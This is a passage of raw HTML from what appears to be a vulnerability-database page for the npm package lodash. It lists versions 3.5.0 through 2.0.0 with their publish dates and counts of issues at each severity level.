data-v-f334a378>\n                3.5.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.5.0\" published=\"9 Mar, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.5.0\" data-v-90f947a4>\n          9 Mar, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.4.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.4.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.4.0\" published=\"6 Mar, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.4.0\" data-v-90f947a4>\n          6 Mar, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.3.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.3.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.3.1\" published=\"24 Feb, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.3.1\" data-v-90f947a4>\n          24 Feb, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.3.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.3.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.3.0\" published=\"20 Feb, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.3.0\" data-v-90f947a4>\n          20 Feb, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.2.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.2.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.2.0\" published=\"12 Feb, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.2.0\" data-v-90f947a4>\n          12 Feb, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.1.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.1.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.1.0\" published=\"3 Feb, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.1.0\" data-v-90f947a4>\n          3 Feb, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.0.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.0.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.0.1\" published=\"30 Jan, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.0.1\" data-v-90f947a4>\n          30 Jan, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.0.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.0.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.0.0\" published=\"26 Jan, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.0.0\" data-v-90f947a4>\n          26 Jan, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/2.4.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                2.4.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"2.4.1\" published=\"3 Dec, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/2.4.1\" data-v-90f947a4>\n          3 Dec, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/2.4.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                2.4.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"2.4.0\" published=\"26 Nov, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/2.4.0\" data-v-90f947a4>\n          26 Nov, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/2.3.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                2.3.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"2.3.0\" published=\"11 Nov, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/2.3.0\" data-v-90f947a4>\n          11 Nov, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/2.2.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                2.2.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"2.2.1\" published=\"3 Oct, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/2.2.1\" data-v-90f947a4>\n          3 Oct, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/2.2.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                2.2.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"2.2.0\" published=\"29 Sep, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/2.2.0\" data-v-90f947a4>\n          29 Sep, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/2.1.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                2.1.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"2.1.0\" published=\"23 Sep, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/2.1.0\" data-v-90f947a4>\n          23 Sep, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/2.0.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                2.0.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"2.0.0\" published=\"14 Sep, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/2.0.0\" data-v-90f947a4>\n          14 Sep, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" 